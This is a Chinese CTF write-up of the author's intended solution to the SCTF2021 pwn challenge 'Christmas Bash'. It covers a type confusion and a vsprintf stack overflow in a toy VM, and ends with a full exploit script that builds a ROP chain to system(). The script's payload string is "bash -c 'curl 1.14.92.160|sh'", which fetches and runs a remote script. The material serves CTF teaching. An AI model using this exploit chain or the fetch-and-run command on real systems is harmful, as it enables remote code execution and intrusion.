SCTF2021 pwn Christmas Bash 出题思路+预期解

SCTF2021 pwn Christmas Bash 出题思路+预期解

sctf2021 pwn出题思路
赛题文件+exp: github

文章目录

题目描述

圣诞狂欢!,请尽情享受狂欢吧!现在你可以大声欢呼!但要注意,派对的主人似乎是个很谨慎的家伙~(题目源码包和Christmas Song题目一致,在vm_call_lambda和vm_opcode_call位置细微差别请自行逆向)(运行/home/ctf/getflag可以得到flag)
Christmas party! Enjoy the carnival! Now you can cheer loudly! But be careful, the party host seems to be a very cautious guy ~ (topic source code package and Christmas Song topic consistent, in vm_call_lambda and vm_opcode_call position nuances please reverse yourself)(run /home/ctf/getflag can get flags)

题目分值:769

解题人数:7

题目源码:slang -christmas

建议先做完[Christmas Song]题目

题目文件

https://github.com/wlingze/Christmas-Bash

这个题目漏洞点很多,师傅们打法也是眼花缭乱, 创建了一个独立仓库收集各种解法,欢迎师傅们来提pr! Christmas-Bash

Slang-christmas设计思路 2

opcode生成

*.slang的编译过程分前后端,

// com/com.c
ast_t* front_process(char *slang_file){
    yyin = fopen(slang_file, "r");
    if (!yyin){
        printf("don't open file %s", slang_file);
        exit(EXIT_FAILURE);
    }
    yyout = fopen("/dev/null", "w");
    ast_t * m = NULL;
    yyparse(&m);
    fclose(yyin);
    fclose(yyout);
    return m;
}

void back_process(ast_t* m, char * scom_file){
    FILE * out = fopen(scom_file, "w");
    lambda_t *l = lambda_init();
    compile_stmts(m, l);
    save_scom(l, out);
    fclose(out);
}

void compile_file(char *slang_file, char *scom_file){   
    ast_t * module = front_process(slang_file);
    back_process(module, scom_file);
}

前端直接使用 parser.yscanner.l生成对应的ast_t结构体,

后端从ast_t生成lambda_t, 对应结构:

// include/lib/lambda.c
typedef struct lambda{
    vector_template(char, code);
    vector_template(int, number);
    vector_template(char *, string);
    vector_template(char *, word);
} lambda_t;

可以看到共分为代码code部分,变量名 word部分,和数据 number string部分,

其中生成对应代码时,这三者会使用索引的方式,

// lib/lambda.c
void emit_insn_load_word(pthis, ast_t *ast){
    insn(OP_LOAD_WORD);
    insn(lambda_set_word(this, ast->string_value));
}

void emit_insn_load_number(pthis, ast_t *ast){
    insn(OP_LOAD_NUMBER);
    insn(lambda_set_number(this, ast->int_value));
}

void emit_insn_load_string(pthis, ast_t *ast){
    insn(OP_LOAD_STRING);
    insn(lambda_set_string(this, ast->string_value));
}

在运行时,同样是采用索引获取对应的值,

// vm/vm_call.c
#define next l,r->rip++ 

#define get_code        lambda_get_code(next)
#define get_word        lambda_get_word(l, get_code)
#define get_number      lambda_get_number(l, get_code)

scom文件结构

这个二进制文件的结构其实只是lambda_t直接转储出来而已, 可以在file/scom.c: save_scom函数和load_scom函数了解两者的转化。

dis模块逻辑

dis运行的逻辑通过line_t来控制,所有的语句会记录地址和反汇编语句保存为addr_t结构,并记录在line_t结构中,同时跳转语句也会被记录,以便于在最后打印的时候将跳转语句分割开。

// include/disasm/line.c
typedef struct addr{
    int addr;
    char * disasm;
} addr_t;

typedef struct line {
    int rip;
    int is_run;
    vector_template(addr_t*,  asm_code);
    vector_template(int, jmp_addr);
} line_t;

最后的打印通过line_puts打印所有反汇编语句。

// disasm/line.c
void line_is_target(pthis, addr_t* item){
    int i=0, addr;
    vector_each(this->jmp_addr, i, addr){
        if(item->addr == addr)
            printf("\n");
    }
}

void line_puts(pthis){
    int i=0;
    addr_t *item;
    vector_each(this->asm_code, i, item){
        line_is_target(this, item);
        printf("%d\t%s\n", item->addr, item->disasm);
    }
}

为了实现这个操作,在线性反汇编运行时,所有的指令会转入output宏中,

// disasm/disasm.c
void disasm_store(arg){
    output(r->rip-2, "pop\t%s", get_word);
}

void disasm_load_number(arg){
    output(r->rip-2, "push\t%d", get_number);
}

void disasm_load_string(arg){
    output(r->rip-2, "push\t\"%s\"", get_string);
}

void disasm_load_word(arg){
    output(r->rip-2, "push\t%s", get_word);
}

#define is_func(func_name) \
    !strcmp(func, (func_name))
void disasm_call(arg){
    char *func = get_word;
    output(r->rip-2, "call\t%s", func);
}
#undef is_func

这个宏其实是封装了 line_fmt函数,

// include/disasm/disasm.h
#define output(addr, fmt, ...) \
    line_fmt(r, addr, fmt, ##__VA_ARGS__)

而这个函数用于生成对应反汇编语句和记录地址,

// disasm/line.c
#define pthis line_t *this
void line_code(pthis, int addr, char * disasm_code){
    addr_t *a = malloc(sizeof(addr_t));
    a->addr = addr;
    a->disasm = strdup(disasm_code);
    vector_push_back(&(this->asm_code), a);
}

void line_fmt(pthis,int addr, char *fmt, ...){
    va_list ap;
    char buffer[0x80];
    
    va_start(ap, fmt);
    vsprintf(buffer, fmt, ap);
    va_end(ap);
    line_code(this, addr, buffer);
}
#undef pthis

漏洞审计

继续看slang-christmas,

类型混淆

对于运行时的变量使用gift结构保存。

// include/lib/gift.h
typedef struct gift {
    char *name;
    u_int64_t item;
} gift_t;

gift_t * gift_init(char *name, u_int64_t item);

// lib/gift.c
gift_t * gift_init(char *name, u_int64_t item){
    gift_t *this = malloc(sizeof(gift_t));
    this->name = name;
    this->item = item;
}

其中的item可以表示指针或者数值,且不作区分,这个位置就存在一个类型混淆,

// vm/vm_call.c
void vm_opcode_store(runtime_t *r, lambda_t *l){
    u_int64_t item =  pop;
    char * name = get_word;
    gift_t *gift = get_gift(name);
    if (!gift){
        gift = gift_init(name, item);
        runtime_set_gift(r, gift);
    } else {
        gift->item = item;
    }
}

并且这个指针来自于字符串,那么这个指针指向堆内存,于是我们可以在堆内存中任意偏移。

栈溢出

line_fmt函数中, vsprintf位置存在栈溢出。

应该用vsnprintf

void line_fmt(pthis,int addr, char *fmt, ...){
    va_list ap;
    char buffer[0x80];
    
    va_start(ap, fmt);
    vsprintf(buffer, fmt, ap);
    va_end(ap);
    line_code(this, addr, buffer);
}

当传递%s的fmt时会触发栈溢出,

以下几个都可以,但是load_string会有",不好利用,其他三个均可选择。

void disasm_store(arg){
    output(r->rip-2, "pop\t%s", get_word);
}

void disasm_load_string(arg){
    output(r->rip-2, "push\t\"%s\"", get_string);
}

void disasm_load_word(arg){
    output(r->rip-2, "push\t%s", get_word);
}

#define is_func(func_name) \
    !strcmp(func, (func_name))
void disasm_call(arg){
    char *func = get_word;
    output(r->rip-2, "call\t%s", func);
}
#undef is_func

但是通过%s构造的栈溢出不能输入00, 只能考虑直接跳向某个地址或栈迁移的手法,

sleep

在bash题目的vm_call_lambda函数中,在内存中存在一个 sleep函数指针。

SCTF2021 pwn Christmas Bash 出题思路+预期解

题目环境

题目环境设置在server.py文件中

通过网络请求获取到文件,这里我本地跑了个php -S 0.0.0.0:8080, 同时会给一个远程文件的目录,

然后首先运行 -r, 然后 -r -d

def get_user_input(filename):
    socket_print("emmm let me see, first put this thing in a safe place, I test it: {}".format(filename))
    socket_print("please input your flag url: ")
    url = input()
    urllib.request.urlretrieve(url,filename)
    socket_print("Okay, now I've got the file")


def run_challenge(filename):
    socket_print("Don't think I don't know what you're up to.")
    socket_print("You must be a little hack who just learned the Christmas song!")
    socket_print("Come let me test what you gave me!")
    result = subprocess.check_output("/home/ctf/Christmas_Bash -r {} < /dev/null".format(filename), shell=True)
    if (result.decode() == "hello"):
        socket_print("wow, that looks a bit unusual, I'll try to decompile it and see.")
        os.system("/home/ctf/Christmas_Bash -r {} -d {} < /dev/null".format(filename, filename))
    else:
        socket_print("Hahahahahahahahahahahahaha, indeed, you should also continue to learn Christmas songs!")
    clean(filename);

利用

我的思路其实是利用那个栈溢出的位置。

利用思路分为几段,最主要的是通过open write修改scom文件本身,

栈溢出利用

这里选择了pop, 简单编写了一个slang文件:

// overflow.slang
gift aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb is 1;

编译出来的到overflow.scom, 修改对应a的个数,调试确定溢出的长度。

栈溢出 栈迁移的打法: 'a' * 0x14c + fake_stack,

scom文件自修改

栈迁移地址

那么栈迁移的fake_stack地址从哪里来呢,程序内的输入其实不太好包含带有00的地址,于是我想到了这个位置,

载入scom文件时,对于字符串处理,直接按照长度读取出来,

// file/scom.c : load_scom
	for(i=0; i<string_count; i++){
        scom(&(len), 4);
        item = malloc(len);
        scom(item, len);
        item[len] = 0;
        vector_push_back(&(lambda->string), item);
    }

于是我有个这样的思路,

在第二次-r -d的运行时,-r的一次运行进行自我修改,将opcode修改为栈溢出的那个dome的样子,然后开始写入填充的’a’, 最后配合gift的类型混淆可以偏移指针指向我们设置好的rop位置,

大概的slang逻辑如下,编译出来以后修改headerb为前面编译出来的overflow.scom的文件头和opcode,

gift headerb is "2222222222222222222222222222222222222222";
# headerb -> push 1; pop $name(overflow)#
gift pad is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
# 'a' * 0x80 #
gift rop is "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
# rop 'b' * 0x100#

# set overflow to rop#
reindeer Dancer delivering gift fileb oflag mode brings back gift fdb;
#fdb = open(filename, oflag, mode)#
gift size is 36;
reindeer Rudolph delivering gift fdb headerb size;
#write(fdb, headerb, size)#

gift size is 128;
reindeer Rudolph delivering gift fdb pad size;
reindeer Rudolph delivering gift fdb pad size;
gift size is 64;
reindeer Rudolph delivering gift fdb pad size;
gift size is 12;
reindeer Rudolph delivering gift fdb pad size;
# write(fdb, pad, 0x14c)#

gift size is 8;
gift ptr is ptr - 56;
# ptr = &rop#
reindeer Rudolph delivering gift fdb ptr size;
# write(fdb, ptr, 8)#

这样运行一次以后,scom文件就变为了刚刚的overflow.scom文件,

两次运行不一致

这样我们还剩下一个问题,我们现在利用在-r -d位置,但是前面还有一次-r的运行,

因此要让两次-r运行不一致,这里同样适用了自修改的技巧,

首先在文件最开头设置变量check = 1; a=2, 于是我们的到push 0; pop check; push 1; pop a, 其实这个pop后跟的是对应lambda->number中的索引值,

于是还是自修改,我们只需要修改前面的magic和opcode第二位即可,

SCTF2021 pwn Christmas Bash 出题思路+预期解

这样修改为push 1; pop check;于是变成了check=2, 配合一个want构造的if结构即可。

gift check is 1;
gift a is 2;

this family wants gift check
    if the gift equal to 1:
        reindeer Dancer delivering gift filea oflag mode brings back gift fda;
        #fda = open(filea, oflag, mode)#
        gift size is 16;
        reindeer Rudolph delivering gift fda headera size;
        # write(fda, headera, size)#
        
        reindeer Rudolph delivering gift stdout aaa size;
    if the gift equal to 2:
        reindeer Rudolph delivering gift stdout bbb size;
ok, they should already have a gift;

SCTF2021 pwn Christmas Bash 出题思路+预期解

rop链

最后的rop构造其实我还是用的类型混淆的指针偏移,然后从sleep中得到了libc_base, system, ret地址,然后都保存为一个gift变量,然后通过指针移动配合memcpy函数,全写到堆块中,

        # set rop#
        # remote #
        gift libc is sleep  - 972880;
        gift system is libc + 346848;
        gift poprdi is libc + 190149;
        gift ret is libc + 190150;

        gift ptr is ptr + 3072; # pop rdi#
        gift rop is rop + 8;
        reindeer Vixen delivering gift rop ptr size;
        gift rop is rop + 8;
        gift ptr is ptr - 1120; # shell#
        reindeer Vixen delivering gift rop ptr size;
        gift rop is rop + 8;
        gift ptr is ptr + 1152; # ret #
        reindeer Vixen delivering gift rop ptr size;
        gift rop is rop + 8;
        gift ptr is ptr - 64; # system #
        reindeer Vixen delivering gift rop ptr size;

exp

  • exp.slang

exp的逻辑如下,编译出来exp.scom,对一些没法直接写入的位置进行修改。

headera修改为自己的文件前16位并修改pop 0pop 1

headerb修改为overflow.scom的前36位,

shell记得最后写00截断,

Filea fileb 储存是同一个字符串,每次连接远程要修改文件名。

对应的exp.scom文件也在github

gift check is 1;
gift a is 2;

gift headera is "111111111111111111111111";
# opcode -> check = 2#
gift headerb is "2222222222222222222222222222222222222222";
# headerb -> push 1; pop $name(overflow)#
gift pad is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
# 'a' * 0x80 #
gift rop is "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
# rop 'b' * 0x100#
#gift shell is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";#
gift shell is "bash -c 'curl 1.14.92.160|sh'#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

gift stdout is 1;
gift filea is "/tmp/aaaa.scom#aaaaaaaaaaaaaaa";
gift fileb is "/tmp/aaaa.scom#aaaaaaaaaaaaaaa";
gift hello is "hello";
gift hellolen is 5;
gift oflag is 65;
gift none is 0;
gift mode is 432;
gift fda is 0;
gift fdb is 0;
gift fdb is [a];

gift ptr is "123456";


# ptr to leave#
this family wants gift check
    if the gift equal to 1:
        reindeer Dancer delivering gift filea oflag mode brings back gift fda;
        reindeer Rudolph delivering gift stdout hello hellolen;
        gift size is 16;
        reindeer Rudolph delivering gift fda headera size;

    if the gift equal to 2:
        # set overflow to rop#
        reindeer Dancer delivering gift fileb oflag mode brings back gift fdb;
        gift size is 36;
        reindeer Rudolph delivering gift fdb headerb size;
        gift size is 128;
        reindeer Rudolph delivering gift fdb pad size;
        reindeer Rudolph delivering gift fdb pad size;
        gift size is 64;
        reindeer Rudolph delivering gift fdb pad size;
        gift size is 12;
        reindeer Rudolph delivering gift fdb pad size;
        gift size is 8;
        gift ptr is ptr - 56;
        reindeer Rudolph delivering gift fdb ptr size;
        # set rop#
        # remote #
        gift libc is sleep  - 972880;
        gift system is libc + 346848;
        gift poprdi is libc + 190149;
        gift ret is libc + 190150;
        # local #
        # gift libc is  sleep - 941888; #
        # gift system is libc + 349200; #
        # gift poprdi is libc + 158578; #
        # gift ret is libc + 158579; #
        gift ptr is ptr + 3072; 
        gift rop is rop + 8;
        reindeer Vixen delivering gift rop ptr size;
        gift rop is rop + 8;
        gift ptr is ptr - 1120; # shell#
        reindeer Vixen delivering gift rop ptr size;
        gift rop is rop + 8;
        gift ptr is ptr + 1152; # ret #
        reindeer Vixen delivering gift rop ptr size;
        gift rop is rop + 8;
        gift ptr is ptr - 64; # system #
        reindeer Vixen delivering gift rop ptr size;
ok, they should already have a gift;
上一篇:[NOTE] Web For Pentester靶场练习笔记


下一篇:“程序媛”如何线上试用“美妆”?手淘 AR 试妆技术曝光